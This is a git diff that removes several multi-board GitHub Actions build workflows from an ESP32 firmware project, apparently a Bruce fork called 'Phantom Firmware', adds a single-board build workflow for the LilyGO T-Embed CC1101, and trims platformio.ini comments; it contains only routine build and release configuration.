diff --git a/.github/workflows/PR_All_envs.yml b/.github/workflows/PR_All_envs.yml deleted file mode 100644 index bffe623eb..000000000 --- a/.github/workflows/PR_All_envs.yml +++ /dev/null @@ -1,148 +0,0 @@ ---- -name: PR Check All envs on Dispatch - -on: - workflow_dispatch: - inputs: - pr_number: - description: "Pull Request Number" - type: string - required: true - -jobs: - compile_sketch: - name: Build ${{ matrix.board.env }} - runs-on: ubuntu-latest - strategy: - fail-fast: false - matrix: - board: - - { env: "m5stack-cardputer", family: "ESP32-S3",} - - { env: "m5stack-cplus2", family: "ESP32",} - - { env: "m5stack-cplus1_1", family: "ESP32",} - - { env: "LAUNCHER_m5stack-cplus1_1", family: "ESP32",} - - { env: "m5stack-core2", family: "ESP32",} - - { env: "m5stack-core16mb", family: "ESP32",} - - { env: "m5stack-core4mb", family: "ESP32",} - - { env: "m5stack-cores3", family: "ESP32-S3",} - - { env: "esp32-s3-devkitc-1", family: "ESP32-S3",} - - { env: "esp32-c5", family: "ESP32-C5",} - - { env: "esp32-c5-tft", family: "ESP32-C5",} - - { env: "CYD-2432S028", family: "ESP32",} - - { env: "CYD-2USB", family: "ESP32",} - - { env: "CYD-2432W328C", family: "ESP32",} - - { env: "CYD-2432W328C_2", family: "ESP32",} - - { env: "CYD-2432W328R-or-S024R", family: "ESP32",} - - { env: "CYD-3248S035R", family: "ESP32",} - - { env: "CYD-3248S035C", family: "ESP32",} - - { env: "LAUNCHER_CYD-2432W328R-or-S024R", family: "ESP32",} - - { env: "LAUNCHER_CYD-2432S028", family: "ESP32",} - - { env: "LAUNCHER_CYD-2USB", family: "ESP32",} - - { env: "LAUNCHER_CYD-2432W328C", family: "ESP32",} - - { env: "LAUNCHER_CYD-3248S035R", family: "ESP32",} - - { env: "LAUNCHER_CYD-3248S035C", family: "ESP32",} - - { env: "lilygo-t-embed-cc1101", family: "ESP32-S3",} - - { env: "lilygo-t-embed", family: "ESP32-S3",} - - { env: "lilygo-t-deck", family: "ESP32-S3",} - - { env: "lilygo-t-watch-s3", family: "ESP32-S3",} - - { env: "lilygo-t-deck-pro", family: "ESP32-S3",} - - { env: "lilygo-t-display-s3", family: "ESP32-S3",} - - { env: "lilygo-t-display-s3-touch", family: "ESP32-S3",} - - { env: "lilygo-t-display-s3-mmc", family: "ESP32-S3",} - - { env: "lilygo-t-display-s3-touch-mmc", family: "ESP32-S3",} - - { env: "lilygo-t-display-S3-pro", family: "ESP32-S3",} - - { env: "lilygo-t-display-ttgo", family: "ESP32",} - - { env: "lilygo-t-hmi", family: "ESP32-S3",} - - { env: "lilygo-t-lora-pager", family: "ESP32-S3",} - - { env: "smoochiee-board", family: "ESP32-S3",} - - { env: "Phantom_S024R", family: "ESP32",} - - { env: "LAUNCHER_Phantom_S024R", family: "ESP32",} - - { env: "Marauder-Mini", family: "ESP32",} - - { env: "LAUNCHER_Marauder-Mini", family: "ESP32",} - - { env: "Awok-Mini", family: "ESP32",} - - { env: "Marauder-v7", family: "ESP32",} - - { env: "LAUNCHER_Marauder-v7", family: "ESP32",} - - { env: "Marauder-V4-V6", family: "ESP32",} - - { env: "Marauder-v61", family: "ESP32",} - - { env: "LAUNCHER_Marauder-V4-V6", family: "ESP32",} - - { env: "LAUNCHER_Marauder-v61", family: "ESP32",} - - { env: "Awok-Touch", family: "ESP32",} - - { env: "WaveSentry-R1", family: "ESP32",} - - { env: "LAUNCHER_WaveSentry-R1", family: "ESP32",} - steps: - - uses: actions/checkout@v4 - with: - ref: refs/pull/${{ github.event.inputs.pr_number }}/merge - - - id: build - name: Setup Python - uses: actions/setup-python@v5 - with: - python-version: "3.13" - - - name: Install build deps (multilib) - run: | - sudo apt-get update - sudo apt-get install -y --no-install-recommends gcc-multilib libc6-dev-i386 - - # - name: Cache pip - # uses: actions/cache@v4 - # with: - # path: ~/.cache/pip - # key: ${{ runner.os }}-pip-${{ hashFiles('**/requirements.txt') }} - # restore-keys: | - # ${{ runner.os }}-pip- - - # - name: Cache PlatformIO - # uses: actions/cache@v4 - # with: - # path: | - # ~/.platformio - # key: Bruce-platformio-${{ hashFiles('**/platformio.ini') }} - # restore-keys: Bruce-platformio- - - # - name: Restore PIO - # uses: actions/cache/restore@v4 - # with: - # path: | - # ${{ github.workspace }}/.pio - # key: Bruce-pio-${{ matrix.board.env }}-${{ github.run_id }}-${{ github.run_attempt }} - # restore-keys: | - # Bruce-pio-${{ matrix.board.env }}- - - - name: Install PlatformIO Core - run: | - pip install platformio requests esptool intelhex - if [[ "${{ github.ref_type }}" == "tag" ]]; then - version=${{ github.ref_name }} - else - version="${GITHUB_SHA::7}" - fi - - sed -i "s/-DBRUCE_VERSION=/-DBRUCE_VERSION='\"$version\"' ; /g" ./platformio.ini - sed -i "s/-DGIT_COMMIT_HASH='\"Homebrew\"'/\!echo '-DGIT_COMMIT_HASH=\\\\\\\\\"'\$\(git describe --always --dirty)'\\\\\\\\\"'/g" ./platformio.ini - - cat ./platformio.ini - - - name: Run Compile - run: | - platformio run -e ${{ matrix.board.env }} - - # - name: Cache PIO - # uses: actions/cache/save@v4 - # with: - # path: | - # ${{ github.workspace }}/.pio - # key: Bruce-pio-${{ matrix.board.env }}-${{ github.run_id }}-${{ github.run_attempt }} - - # - name: Merge Files - # run: | - # pio run -e ${{ matrix.board.env }} -t build-firmware - - - name: Upload ${{ matrix.board.env }} - uses: actions/upload-artifact@v4 - with: - name: Bruce-${{ matrix.board.env }} - path: Bruce-*.bin - retention-days: 5 - if-no-files-found: error diff --git a/.github/workflows/PR_check.yml b/.github/workflows/PR_check.yml deleted file mode 100644 index fb6da3db6..000000000 --- a/.github/workflows/PR_check.yml +++ /dev/null @@ -1,130 +0,0 @@ ---- -name: Build and Push OR check-PR - -on: - pull_request: - branches: - - main, dev - workflow_dispatch: - inputs: - board: - description: "Board to Compile" - type: choice - required: true - default: "M5Cardputer" - options: ["M5Cardputer", "M5StickCPlus2", "ESP32-S3"] - -jobs: - compile_sketch: - name: Build ${{ matrix.board.name }} - runs-on: ubuntu-latest - strategy: - fail-fast: false - matrix: - board: - - { - name: "ESP32-S3 - M5Cardputer", - env: "m5stack-cardputer", - partitions: { bootloader_addr: "0x0000" }, - } - - { - name: "ESP32 - M5StickCPlus2", - env: "m5stack-cplus2", - partitions: { bootloader_addr: "0x1000" }, - } - - { - name: "Headless: ESP32-S3", - env: "esp32-s3-devkitc-1", - partitions: { bootloader_addr: "0x0" }, - } - - { - name: "CoreS3", - env: "m5stack-cores3", - partitions: { bootloader_addr: "0x0" }, - } - - { - name: "Launcher based environment: CYD", - env: "LAUNCHER_CYD-2432S028", - partitions: { bootloader_addr: "0x1000" }, - } - - { - name: "ESP32-C5", - env: "esp32-c5", - partitions: { bootloader_addr: "0x2000" }, - } - steps: - - uses: actions/checkout@v4 - - - id: build - name: setup Python - uses: actions/setup-python@v5 - with: - python-version: "3.13" - - - name: Install build deps (multilib) - run: | - sudo apt-get update - sudo apt-get install -y --no-install-recommends gcc-multilib libc6-dev-i386 - - # - name: Cache pip - # uses: actions/cache@v4 - # with: - # path: ~/.cache/pip - # key: ${{ runner.os }}-pip-${{ hashFiles('**/requirements.txt') }} - # restore-keys: | - # ${{ runner.os }}-pip- - - # - name: Cache PlatformIO - # uses: actions/cache@v4 - # with: - # path: | - # ~/.platformio - # key: Bruce-platformio-${{ hashFiles('**/platformio.ini') }} - # restore-keys: Bruce-platformio- - - # - name: Restore PIO - # uses: actions/cache/restore@v4 - # with: - # path: | - # ${{ github.workspace }}/.pio - # key: Bruce-pio-${{ matrix.board.env }}-${{ github.run_id }}-${{ github.run_attempt }} - # restore-keys: | - # Bruce-pio-${{ matrix.board.env }}- - - - name: Install PlatformIO Core - run: | - pip install platformio requests esptool intelhex - - if [[ "${{ github.ref_type }}" == "tag" ]]; then - version=${{ github.ref_name }} - else - version="${GITHUB_SHA::7}" - fi - - sed -i "s/-DBRUCE_VERSION=/-DBRUCE_VERSION='\"$version\"' ; /g" ./platformio.ini - sed -i "s/-DGIT_COMMIT_HASH='\"Homebrew\"'/\!echo '-DGIT_COMMIT_HASH=\\\\\\\\\"'\$\(git describe --always --dirty)'\\\\\\\\\"'/g" ./platformio.ini - - cat ./platformio.ini - - - name: Run Compile - run: | - platformio run -e ${{ matrix.board.env }} - - # - name: Cache PIO - # uses: actions/cache/save@v4 - # with: - # path: | - # ${{ github.workspace }}/.pio - # key: Bruce-pio-${{ matrix.board.env }}-${{ github.run_id }}-${{ github.run_attempt }} - - # - name: Merge Files - # run: | - # pio run -e ${{ matrix.board.env }} -t build-firmware - - - name: Upload ${{ matrix.board.name }} - uses: actions/upload-artifact@v4 - with: - name: Bruce-${{ matrix.board.env }} - path: Bruce-*.bin - retention-days: 5 - if-no-files-found: error diff --git a/.github/workflows/buil_parallel.yml b/.github/workflows/buil_parallel.yml deleted file mode 100644 index 0d6315128..000000000 --- a/.github/workflows/buil_parallel.yml +++ /dev/null @@ -1,327 +0,0 @@ ---- -name: Build and Push Releases - -on: - push: - branches: - - main, workflow - tags: - - "*" - workflow_dispatch: - -jobs: - compile_sketch: - name: Build ${{ matrix.board.env }} - runs-on: ubuntu-latest - strategy: - fail-fast: false - matrix: - board: - - { env: "arduino-nesso-n1", family: "ESP32-C6",} - - { env: "m5stack-cardputer", family: "ESP32-S3",} - - { env: "m5stack-sticks3", family: "ESP32-S3",} - - { env: "m5stack-cplus2", family: "ESP32",} - - { env: "m5stack-cplus1_1", family: "ESP32",} - - { env: "LAUNCHER_m5stack-cplus1_1", family: "ESP32",} - - { env: "m5stack-core2", family: "ESP32",} - - { env: "m5stack-core16mb", family: "ESP32",} - - { env: "m5stack-core4mb", family: "ESP32",} - - { env: "m5stack-cores3", family: "ESP32-S3",} - - { env: "m5stack-dinmeter", family: "ESP32-S3",} - - { env: "esp32-s3-devkitc-1", family: "ESP32-S3",} - - { env: "esp32-c5", family: "ESP32-C5",} - - { env: "esp32-c5-tft", family: "ESP32-C5",} - - { env: "nm-cyd-c5", family: "ESP32-C5",} - - { env: "CYD-2432S028", family: "ESP32",} - - { env: "CYD-2USB", family: "ESP32",} - - { env: "CYD-2432W328C", family: "ESP32",} - - { env: "CYD-2432W328C_2", family: "ESP32",} - - { env: "CYD-2432W328R-or-S024R", family: "ESP32",} - - { env: "CYD-3248S035R", family: "ESP32",} - - { env: "CYD-3248S035C", family: "ESP32",} - - { env: "LAUNCHER_CYD-2432W328R-or-S024R", family: "ESP32",} - - { env: "LAUNCHER_CYD-2432S028", family: "ESP32",} - - { env: "LAUNCHER_CYD-2USB", family: "ESP32",} - - { env: "LAUNCHER_CYD-2432W328C", family: "ESP32",} - - { env: "LAUNCHER_CYD-3248S035R", family: "ESP32",} - - { env: "LAUNCHER_CYD-3248S035C", family: "ESP32",} - - { env: "lilygo-t-embed-cc1101", family: "ESP32-S3",} - - { env: "lilygo-t-embed", family: "ESP32-S3",} - - { env: "lilygo-t-deck", family: "ESP32-S3",} - - { env: "lilygo-t-watch-s3", family: "ESP32-S3",} - - { env: "lilygo-t-deck-pro", family: "ESP32-S3",} - - { env: "lilygo-t-display-s3", family: "ESP32-S3",} - - { env: "lilygo-t-display-s3-touch", family: "ESP32-S3",} - - { env: "lilygo-t-display-s3-mmc", family: "ESP32-S3",} - - { env: "lilygo-t-display-s3-touch-mmc", family: "ESP32-S3",} - - { env: "lilygo-t-display-S3-pro", family: "ESP32-S3",} - - { env: "lilygo-t-display-ttgo", family: "ESP32",} - - { env: "lilygo-t-hmi", family: "ESP32-S3",} - - { env: "lilygo-t-lora-pager", family: "ESP32-S3",} - - { env: "elecrow-24B", family: "ESP32",} - - { env: "elecrow-28B", family: "ESP32",} - - { env: "smoochiee-board", family: "ESP32-S3",} - - { env: "reaper", family: "ESP32-S3",} - - { env: "Phantom_S024R", family: "ESP32",} - - { env: "LAUNCHER_Phantom_S024R", family: "ESP32",} - - { env: "Marauder-Mini", family: "ESP32",} - - { env: "LAUNCHER_Marauder-Mini", family: "ESP32",} - - { env: "Awok-Mini", family: "ESP32",} - - { env: "Marauder-v7", family: "ESP32",} - - { env: "LAUNCHER_Marauder-v7", family: "ESP32",} - - { env: "Marauder-V4-V6", family: "ESP32",} - - { env: "Marauder-v61", family: "ESP32",} - - { env: "LAUNCHER_Marauder-V4-V6", family: "ESP32",} - - { env: "LAUNCHER_Marauder-v61", family: "ESP32",} - - { env: "Awok-Touch", family: "ESP32",} - - { env: "WaveSentry-R1", family: "ESP32",} - - { env: "LAUNCHER_WaveSentry-R1", family: "ESP32",} - - steps: - - uses: actions/checkout@v4 - - - id: build - name: setup Python - uses: actions/setup-python@v5 - with: - python-version: "3.13" - - - name: Install build deps (multilib) - run: | - sudo apt-get update - sudo apt-get install -y --no-install-recommends gcc-multilib libc6-dev-i386 - - - name: Cache pip - uses: actions/cache@v4 - with: - path: ~/.cache/pip - key: ${{ runner.os }}-pip-${{ hashFiles('**/requirements*.txt') }} - restore-keys: | - ${{ runner.os }}-pip-${{ hashFiles('**/requirements*.txt') }} - ${{ runner.os }}-pip- - - - name: Cache PlatformIO Framework - uses: actions/cache@v4 - with: - path: | - ~/.platformio - key: ${{ runner.os }}-platformio-${{ hashFiles('platformio.ini') }} - restore-keys: | - ${{ runner.os }}-platformio-${{ hashFiles('platformio.ini') }} - ${{ runner.os }}-platformio- - - - name: PIO libraries cache - uses: actions/cache@v4 - with: - path: | - .pio/libdeps - key: ${{ runner.os }}-pio-${{ matrix.board.env }}-${{ hashFiles('platformio.ini') }} - restore-keys: | - ${{ runner.os }}-pio-${{ matrix.board.env }}-${{ hashFiles('platformio.ini') }} - ${{ runner.os }}-pio-${{ matrix.board.env }}- - - - name: Install dependencies - run: | - pip install requests esptool intelhex - pip install platformio - - - name: Prepare PlatformIO file - run: | - - if [[ "${{ github.ref_type }}" == "tag" ]]; then - version=${{ github.ref_name }} - else - version="${GITHUB_SHA::7}" - fi - - sed -i "s/-DBRUCE_VERSION=/-DBRUCE_VERSION='\"$version\"' ; /g" ./platformio.ini - sed -i "s/-DGIT_COMMIT_HASH='\"Homebrew\"'/\!echo '-DGIT_COMMIT_HASH=\\\\\\\\\"'\$\(git describe --always --dirty)'\\\\\\\\\"'/g" ./platformio.ini - - cat ./platformio.ini - - - name: Run Compile - run: | - set -o pipefail - platformio run -e ${{ matrix.board.env }} | tee build-${{ matrix.board.env }}.log - - - name: Build summary - run: | - if [[ -f build-${{ matrix.board.env }}.log ]]; then - echo "Last 75 lines of build-${{ matrix.board.env }}.log:" - tail -n 75 build-${{ matrix.board.env }}.log - else - echo "Build log not found; nothing to show." - fi - - - name: Upload ${{ matrix.board.env }} - uses: actions/upload-artifact@v4 - with: - name: Bruce-${{ matrix.board.env }} - path: Bruce-*.* - retention-days: 1 - if-no-files-found: error - - post_compile_steps: - name: Update Placeholders - runs-on: ubuntu-latest - environment: github_release - needs: compile_sketch - if: (github.event_name == 'push' || github.event_name == 'workflow_dispatch') || github.ref_type == 'tag' - steps: - - name: Download all artifacts - uses: actions/download-artifact@v4 - with: - pattern: '*' - merge-multiple: true - path: artifacts - - - name: Ensure releases exist and get IDs - id: get_release - uses: actions/github-script@v7 - with: - script: | - const ensureByTag = async (tag, prerelease=true) => { - try { - const { data } = await github.rest.repos.getReleaseByTag({ - owner: context.repo.owner, - repo: context.repo.repo, - tag - }); - return data.id; - } catch (e) { - if (e.status !== 404) throw e; - const { data } = await github.rest.repos.createRelease({ - owner: context.repo.owner, - repo: context.repo.repo, - tag_name: tag, - name: tag, - prerelease - }); - return data.id; - } - }; - - const betaId = await ensureByTag('betaRelease'); - const lastId = await ensureByTag('lastRelease'); - - core.setOutput('beta', String(betaId)); - core.setOutput('last', String(lastId)); - - - name: Get current sha - id: get_sha - run: | - echo "GITHUB_SHA_SHORT=${GITHUB_SHA::7}" >> $GITHUB_OUTPUT - - - name: Delete old betaRelease assets - uses: actions/github-script@v6 - with: - script: | - const release_id = ${{ steps.get_release.outputs.beta }}; - const assets = await github.rest.repos.listReleaseAssets({ - owner: context.repo.owner, - repo: context.repo.repo, - release_id: release_id - }); - for (const asset of assets.data) { - await github.rest.repos.deleteReleaseAsset({ - owner: context.repo.owner, - repo: context.repo.repo, - asset_id: asset.id - }); - } - - - name: Upload new betaRelease asset - uses: softprops/action-gh-release@v2 - with: - name: betaRelease commit (${{ steps.get_sha.outputs.GITHUB_SHA_SHORT }}) - tag_name: betaRelease - prerelease: true - files: artifacts/** - fail_on_unmatched_files: false - make_latest: false - generate_release_notes: false - - - name: Delete old lastRelease assets - uses: actions/github-script@v6 - if: github.ref_type == 'tag' - with: - script: | - const release_id = ${{ steps.get_release.outputs.last }}; - const assets = await github.rest.repos.listReleaseAssets({ - owner: context.repo.owner, - repo: context.repo.repo, - release_id: release_id - }); - for (const asset of assets.data) { - await github.rest.repos.deleteReleaseAsset({ - owner: context.repo.owner, - repo: context.repo.repo, - asset_id: asset.id - }); - } - - - name: Upload new lastRelease asset - uses: softprops/action-gh-release@v2 - if: github.ref_type == 'tag' - with: - name: lastRelease commit (${{ steps.get_sha.outputs.GITHUB_SHA_SHORT }}) - tag_name: lastRelease - prerelease: true - files: artifacts/** - fail_on_unmatched_files: false - make_latest: false - generate_release_notes: false - - - name: Checkout main to trigger WebPage deploy - if: ${{ success() }} - uses: actions/checkout@v4 - with: - ref: main - fetch-depth: 1 - - - name: Trigger WebPage deploy (workflow_dispatch) - if: ${{ success() }} - env: - GH_TOKEN: ${{ github.token }} - run: | - gh workflow list - gh workflow run .github/workflows/deploy.yml --ref WebPage - - create_release: - runs-on: ubuntu-latest - environment: github_release - needs: [compile_sketch] - if: github.ref_type == 'tag' - steps: - - id: bruce_version - name: Get Version - run: | - set -x - - if [[ "${{ github.ref_type }}" == "tag" ]]; then - version=${{ github.ref_name }} - else - version="${GITHUB_SHA::7}" - fi - - echo "version=${version}" > $GITHUB_OUTPUT - - uses: actions/download-artifact@v4 - with: - merge-multiple: true - - - name: List all files - if: always() - run: | - set -x - pwd - ls -all - tree - - - name: Create Release ${{ steps.bruce_version.outputs.version }} - uses: softprops/action-gh-release@v1 - with: - name: Bruce Release ${{ steps.bruce_version.outputs.version }} - tag_name: ${{ steps.bruce_version.outputs.version }} - generate_release_notes: true - files: | - Bruce-*.bin diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml new file mode 100644 index 000000000..55a7a1545 --- /dev/null +++ b/.github/workflows/build.yml @@ -0,0 +1,89 @@ +name: Build Phantom Firmware + +on: + workflow_dispatch: + inputs: + target_branch: + description: 'Branch to build from' + required: true + default: 'main' + type: string + +jobs: + compile: + name: Build lilygo-t-embed-cc1101 + runs-on: ubuntu-latest + + steps: + - name: Checkout repository + uses: actions/checkout@v4 + with: + ref: ${{ github.event.inputs.target_branch }} + + - name: Setup Python + uses: actions/setup-python@v5 + with: + python-version: "3.13" + + - name: Cache pip + uses: actions/cache@v4 + with: + path: ~/.cache/pip + key: ${{ runner.os }}-pip-${{ hashFiles('**/requirements*.txt') }} + restore-keys: | + ${{ runner.os }}-pip- + + - name: Cache PlatformIO Framework + uses: actions/cache@v4 + with: + path: ~/.platformio + key: ${{ runner.os }}-platformio-${{ hashFiles('platformio.ini') }} + restore-keys: | + ${{ runner.os }}-platformio- + + - name: PIO libraries cache + uses: actions/cache@v4 + with: + path: .pio/libdeps + key: ${{ runner.os }}-pio-lilygo-t-embed-cc1101-${{ hashFiles('platformio.ini') }} + restore-keys: | + ${{ runner.os }}-pio-lilygo-t-embed-cc1101- + + - name: Install dependencies + run: | + pip install requests esptool intelhex + pip install platformio + + - name: Run Compile + run: | + set -o pipefail + echo "Building environment: lilygo-t-embed-cc1101" + platformio run -e "lilygo-t-embed-cc1101" | tee "build-lilygo-t-embed-cc1101.log" + + - name: Build summary + run: | + if [[ -f "build-lilygo-t-embed-cc1101.log" ]]; then + echo "Last 75 lines of build-lilygo-t-embed-cc1101.log:" + tail -n 75 "build-lilygo-t-embed-cc1101.log" + else + echo "Build log not found; nothing to show." + fi + + - name: Upload Artifacts + uses: actions/upload-artifact@v4 + with: + name: Phantom-T-Embed-CC1101 + path: | + .pio/build/lilygo-t-embed-cc1101/firmware.bin + .pio/build/lilygo-t-embed-cc1101/bootloader.bin + .pio/build/lilygo-t-embed-cc1101/partitions.bin + retention-days: 30 + if-no-files-found: error + + - name: Display Build Info + run: | + echo "Build completed successfully!" + echo "Environment: lilygo-t-embed-cc1101" + echo "Git Hash: $(git describe --always --dirty)" + echo "Built files:" + ls -la .pio/build/lilygo-t-embed-cc1101/*.bin 2>/dev/null || echo "No binary files found" diff --git a/.github/workflows/manual_build_sel_env.yml b/.github/workflows/manual_build_sel_env.yml deleted file mode 100644 index 08accee00..000000000 --- a/.github/workflows/manual_build_sel_env.yml +++ /dev/null @@ -1,165 +0,0 @@ -name: Manual Build (Select Environment) -# All credits to Ninja-Jr @ninjajr -on: - workflow_dispatch: - inputs: - target_branch: - description: 'Branch to build from' - required: true - default: 'main' - type: string - environment: - description: 'Select environment to build' - required: true - default: 'lilygo-t-embed-cc1101' - type: choice - options: - - "m5stack-cardputer" - - "m5stack-cplus2" - - "m5stack-cplus1_1" - - "LAUNCHER_m5stack-cplus1_1" - - "m5stack-core2" - - "m5stack-core16mb" - - "m5stack-core4mb" - - "m5stack-cores3" - - "esp32-s3-devkitc-1" - - "esp32-c5" - - "esp32-c5-tft" - - "CYD-2432S028" - - "CYD-2USB" - - "CYD-2432W328C" - - "CYD-2432W328C_2" - - "CYD-2432W328R-or-S024R" - - "CYD-3248S035R" - - "CYD-3248S035C" - - "LAUNCHER_CYD-2432W328R-or-S024R" - - "LAUNCHER_CYD-2432S028" - - "LAUNCHER_CYD-2USB" - - "LAUNCHER_CYD-2432W328C" - - "LAUNCHER_CYD-3248S035R" - - "LAUNCHER_CYD-3248S035C" - - "lilygo-t-embed-cc1101" - - "lilygo-t-embed" - - "lilygo-t-deck" - - "lilygo-t-watch-s3" - - "lilygo-t-deck-pro" - - "lilygo-t-display-s3" - - "lilygo-t-display-s3-touch" - - "lilygo-t-display-s3-mmc" - - "lilygo-t-display-s3-touch-mmc" - - "lilygo-t-display-s3-pro" - - "lilygo-t-display-ttgo" - - "lilygo-t-hmi" - - "lilygo-t-lora-pager" - - "smoochiee-board" - - "Phantom_S024R" - - "LAUNCHER_Phantom_S024R" - - "Marauder-Mini" - - "LAUNCHER_Marauder-Mini" - - "Awok-Mini" - - "Marauder-v7" - - "LAUNCHER_Marauder-v7" - - "Marauder-V4-V6" - - "Marauder-v61" - - "LAUNCHER_Marauder-V4-V6" - - "LAUNCHER_Marauder-v61" - - "Awok-Touch" - - "WaveSentry-R1" - - "LAUNCHER_WaveSentry-R1" - -jobs: - compile_selected: - name: Build ${{ github.event.inputs.environment }} - runs-on: ubuntu-latest - env: - SELECTED_ENV: ${{ github.event.inputs.environment }} - - steps: - - name: Checkout repository - uses: actions/checkout@v4 - with: - ref: ${{ github.event.inputs.target_branch }} - - - name: Setup Python - uses: actions/setup-python@v5 - with: - python-version: "3.13" - - - name: Cache pip - uses: actions/cache@v4 - with: - path: ~/.cache/pip - key: ${{ runner.os }}-pip-${{ hashFiles('**/requirements*.txt') }} - restore-keys: | - ${{ runner.os }}-pip-${{ hashFiles('**/requirements*.txt') }} - ${{ runner.os }}-pip- - - - name: Cache PlatformIO Framework - uses: actions/cache@v4 - with: - path: ~/.platformio - key: ${{ runner.os }}-platformio-${{ hashFiles('platformio.ini') }} - restore-keys: | - ${{ runner.os }}-platformio-${{ hashFiles('platformio.ini') }} - ${{ runner.os }}-platformio- - - - name: PIO libraries cache - uses: actions/cache@v4 - with: - path: .pio/libdeps - key: ${{ runner.os }}-pio-${{ env.SELECTED_ENV }}-${{ hashFiles('platformio.ini') }} - restore-keys: | - ${{ runner.os }}-pio-${{ env.SELECTED_ENV }}-${{ hashFiles('platformio.ini') }} - ${{ runner.os }}-pio-${{ env.SELECTED_ENV }}- - - - name: Install dependencies - run: | - pip install requests esptool intelhex - pip install platformio - - - name: Prepare PlatformIO file (Bruce version logic) - id: prepare_version - run: | - echo "Preparing PlatformIO configuration..." - - # Manual builds always use commit SHA (simple and logical) - version="${GITHUB_SHA::7}" - echo "Using commit SHA: $version" - - echo "VERSION=$version" >> $GITHUB_OUTPUT - - # Apply version to platformio.ini (upstream method) - sed -i "s/-DBRUCE_VERSION=/-DBRUCE_VERSION='\"$version\"' ; /g" ./platformio.ini - sed -i "s/-DGIT_COMMIT_HASH='\"Homebrew\"'/!echo '-DGIT_COMMIT_HASH=\\\\\"'\$(git describe --always --dirty)'\\\\\"'/g" ./platformio.ini - - - name: Run Compile - run: | - set -o pipefail - echo "Building environment: ${{ env.SELECTED_ENV }}" - platformio run -e "${{ env.SELECTED_ENV }}" | tee "build-${{ env.SELECTED_ENV }}.log" - - - name: Build summary - run: | - if [[ -f "build-${{ env.SELECTED_ENV }}.log" ]]; then - echo "Last 75 lines of build-${{ env.SELECTED_ENV }}.log:" - tail -n 75 "build-${{ env.SELECTED_ENV }}.log" - else - echo "Build log not found; nothing to show." - fi - - - name: Upload Artifacts - uses: actions/upload-artifact@v4 - with: - name: Bruce-${{ env.SELECTED_ENV }} - path: Bruce-*.* - retention-days: 1 - if-no-files-found: error - - - name: Display Build Info - run: | - echo "Build completed successfully!" - echo "Environment: ${{ env.SELECTED_ENV }}" - echo "Version: ${{ steps.prepare_version.outputs.VERSION }}" - echo "Git Hash: $(git describe --always --dirty)" - echo "Built files:" - ls -la Bruce-*.* 2>/dev/null || echo "No Bruce files found" diff --git a/platformio.ini b/platformio.ini index fa639618e..073d181b5 100644 --- a/platformio.ini +++ b/platformio.ini @@ -1,83 +1,14 @@ ; PlatformIO Project Configuration File ; -; Build options: build flags, source filter -; Upload options: custom upload port, speed and extra flags -; Library options: dependencies, extra library storages -; Advanced options: extra scripting +; Phantom Firmware - Advanced ESP32-S3 Offensive Security Platform +; Built for T-Embed CC1101 ; ; Please visit documentation for the other options and examples ; https://docs.platformio.org/page/projectconf.html [platformio] -default_envs = - m5stack-cardputer - ;m5stack-sticks3 - ;m5stack-cplus2 - ;m5stack-cplus1_1 - ;LAUNCHER_m5stack-cplus1_1 - ;m5stack-core2 - ;m5stack-core16mb - ;m5stack-core4mb - ;m5stack-cores3 - ;m5stack-dinmeter - ;arduino-nesso-n1 - ;esp32-s3-devkitc-1 - ;CYD-2432S028 - ;CYD-2USB - ;CYD-2432W328C - ;CYD-2432W328C_2 - ;CYD-2432W328R-or-S024R - ;CYD-3248S035R - ;CYD-3248S035C - ;LAUNCHER_CYD-2432W328R-or-S024R - ;LAUNCHER_CYD-2432S028 - ;LAUNCHER_CYD-2USB - ;LAUNCHER_CYD-2432W328C - ;LAUNCHER_CYD-3248S035R - ;LAUNCHER_CYD-3248S035C - ;lilygo-t-embed-cc1101 - ;lilygo-t-embed - ;lilygo-t-deck - ;lilygo-t-watch-s3 - ;lilygo-t-deck-pro # This is T-Deck Plus!! - ;lilygo-t-display-s3 - ;lilygo-t-display-s3-touch - ;lilygo-t-display-s3-mmc - ;lilygo-t-display-s3-touch-mmc - ;lilygo-t-display-S3-pro - ;lilygo-t-display-ttgo - ;lilygo-t-hmi - ;lilygo-t-lora-pager - ;smoochiee-board - ;xk404 - ;reaper - ;Phantom_S024R - ;LAUNCHER_Phantom_S024R - ;Marauder-Mini - ;LAUNCHER_Marauder-Mini - ;Awok-Mini - ;Marauder-v7 - ;LAUNCHER_Marauder-v7 - ;Marauder-V4-V6 - ;Marauder-v61 - ;LAUNCHER_Marauder-V4-V6 - ;LAUNCHER_Marauder-v61 - ;Awok-Touch" - ;LAUNCHER_WaveSentry-R1 - ;WaveSentry-R1 - ;esp32-c5-tft - ;esp32-c5 - ;ES3C28P - ;nm-cyd-c5 - ;elecrow-24B - ;elecrow-28B - ;elecrow-35B - ;elecrow-35Bv2_2 +default_envs = lilygo-t-embed-cc1101 - -;uncomment to not use global dirs to avoid possible conflicts -;platforms_dir = .pio/platforms -;packages_dir = .pio/packages build_cache_dir = .pio/buildcache cache_dir = .pio/cache boards_dir = boards/_boards_json @@ -88,12 +19,8 @@ extra_configs = [env] platform = https://github.com/pioarduino/platform-espressif32/releases/download/55.03.36/platform-espressif32.zip ; Arduino 3.3.6 - ;https://github.com/pioarduino/platform-espressif32/releases/download/55.03.34/platform-espressif32.zip ; Arduino 3.3.4 - ;https://github.com/pioarduino/platform-espressif32/releases/download/stable/platform-espressif32.zip ; Last Version platform_packages = framework-arduinoespressif32-libs @ https://github.com/bmorcelli/esp32-arduino-lib-builder/releases/download/idf-release_v5.5/bruce_esp32-arduino-libs-20260123-153546.zip ; Arduino 3.3.6 - ;framework-arduinoespressif32-libs @ https://github.com/bmorcelli/esp32-arduino-lib-builder/releases/download/idf-release_v5.5/bruce_esp32-arduino-libs-20251205-131242.zip ; Arduino 3.3.4 - ;framework-arduinoespressif32-libs @ https://github.com/bmorcelli/esp32-arduino-lib-builder/releases/download/idf-release_v5.5/esp32-arduino-libs-20250919-170356.zip ; Arduino 3.3.1 monitor_filters = esp32_exception_decoder, send_on_enter, colorize monitor_speed = 115200 @@ -106,8 +33,6 @@ build_src_flags = -Wclobbered -Wempty-body -Wignored-qualifiers - ; -Wmissing-field-initializers - ; -Wsign-compare ; commented because it produces too much warnings, some of them are imposible to fix due to external deps -Woverloaded-virtual=0 -Wtype-limits -Wno-unused-label @@ -116,11 +41,6 @@ build_src_flags = -Wno-narrowing ; warnings end -; build_unflags = -Os ; uncomment this line and "-O2" for speed optimisations, but bigger size - -; Specify the path to your 32bits GCC compiler here, if it was not detected -;mqjs_host_cc = C:/msys64/mingw32/bin/gcc.exe - build_src_filter = +<*> -<.git/> @@ -128,7 +48,8 @@ build_src_filter = - build_flags = - 